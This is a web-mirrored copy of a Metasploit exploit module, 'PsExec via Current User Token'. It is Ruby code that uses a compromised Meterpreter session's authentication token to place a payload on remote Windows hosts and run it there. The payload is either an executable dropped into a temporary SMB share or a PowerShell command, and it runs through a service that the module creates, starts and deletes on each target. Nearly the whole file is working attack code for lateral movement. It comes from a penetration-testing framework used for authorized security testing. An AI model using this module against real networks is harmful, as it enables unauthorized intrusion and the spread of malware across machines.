Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/current_user_psexec.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Post::Windows::Services
10
include Exploit::EXE
11
include Exploit::Powershell
12
include Post::File
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'PsExec via Current User Token',
19
'Description' => %q{
20
This module uploads an executable file to the victim system, creates
21
a share containing that executable, creates a remote service on each
22
target system using a UNC path to that file, and finally starts the
23
service(s).
24
25
The result is similar to psexec but with the added benefit of using
26
the session's current authentication token instead of having to know
27
a password or hash.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'egypt',
32
'jabra' # Brainstorming and help with original technique
33
],
34
'References' => [
35
# same as for windows/smb/psexec
36
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
37
[ 'OSVDB', '3106'],
38
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
39
],
40
'DefaultOptions' => {
41
'WfsDelay' => 10,
42
},
43
'DisclosureDate' => '1999-01-01',
44
'Arch' => [ARCH_X86, ARCH_X64],
45
'Platform' => [ 'win' ],
46
'SessionTypes' => [ 'meterpreter' ],
47
'Targets' => [ [ 'Universal', {} ] ],
48
'DefaultTarget' => 0,
49
'Compat' => {
50
'Meterpreter' => {
51
'Commands' => %w[
52
stdapi_fs_mkdir
53
stdapi_sys_config_getenv
54
]
55
}
56
},
57
'Notes' => {
58
'Reliability' => UNKNOWN_RELIABILITY,
59
'Stability' => UNKNOWN_STABILITY,
60
'SideEffects' => UNKNOWN_SIDE_EFFECTS
61
}
62
)
63
)
64
65
register_options([
66
OptString.new("INTERNAL_ADDRESS", [
67
false,
68
"Session's internal address or hostname for the victims to grab the " +
69
"payload from (Default: detected)"
70
]),
71
OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]),
72
OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
73
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]),
74
OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
75
OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve hostnames", false ])
76
])
77
end
78
79
def exploit
80
name = datastore["NAME"] || Rex::Text.rand_text_alphanumeric(10)
81
display_name = datastore["DISPNAME"] || Rex::Text.rand_text_alphanumeric(10)
82
if datastore['TECHNIQUE'] == 'SMB'
83
# XXX Find the domain controller
84
85
# share_host = datastore["INTERNAL_ADDRESS"] || detect_address
86
share_host = datastore["INTERNAL_ADDRESS"] || session.session_host
87
print_status "Using #{share_host} as the internal address for victims to get the payload from"
88
89
# Build a random name for the share and directory
90
share_name = Rex::Text.rand_text_alphanumeric(8)
91
drive = session.sys.config.getenv('SYSTEMDRIVE')
92
share_dir = "#{drive}\\#{share_name}"
93
94
# Create them
95
print_status("Creating share #{share_dir}")
96
session.fs.dir.mkdir(share_dir)
97
cmd_exec("net share #{share_name}=#{share_dir}")
98
99
# Generate an executable from the shellcode and drop it in the share
100
# directory
101
filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
102
payload_exe = generate_payload_exe_service(
103
:servicename => name,
104
# XXX Ghetto
105
:arch => payload.send(:pinst).arch.first
106
)
107
108
print_status("Dropping payload #{filename}")
109
write_file("#{share_dir}\\#{filename}", payload_exe)
110
111
service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
112
else
113
service_executable = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
114
end
115
116
begin
117
if datastore['KERBEROS']
118
targets = datastore['RHOSTS'].split(', ').map { |a| a.split(' ') }.flatten
119
else
120
targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"])
121
end
122
123
targets.each do |server|
124
begin
125
print_status("#{server.ljust(16)} Creating service #{name}")
126
127
service_create(name,
128
{
129
:display => display_name,
130
:path => service_executable,
131
:starttype => "START_TYPE_MANUAL"
132
},
133
server)
134
135
# If everything went well, this will create a session. If not, it
136
# might be permissions issues or possibly we failed to create the
137
# service.
138
print_status("#{server.ljust(16)} Starting the service")
139
service_start(name, server)
140
141
print_status("#{server.ljust(16)} Deleting the service")
142
service_delete(name, server)
143
rescue Rex::TimeoutError
144
vprint_status("#{server.ljust(16)} Timed out...")
145
next
146
rescue RuntimeError, ::Rex::Post::Meterpreter::RequestError
147
print_error("Exception running payload: #{$!.class} : #{$!}")
148
print_warning("#{server.ljust(16)} WARNING: May have failed to clean up!")
149
print_warning("#{server.ljust(16)} Try a command like: sc \\\\#{server}\\ delete #{name}")
150
next
151
end
152
end
153
ensure
154
if datastore['TECHNIQUE'] == 'SMB'
155
print_status("Deleting share #{share_name}")
156
cmd_exec("net share #{share_name} /delete /y")
157
print_status("Deleting files #{share_dir}")
158
cmd_exec("cmd /c rmdir /q /s #{share_dir}")
159
end
160
end
161
end
162
end
163
164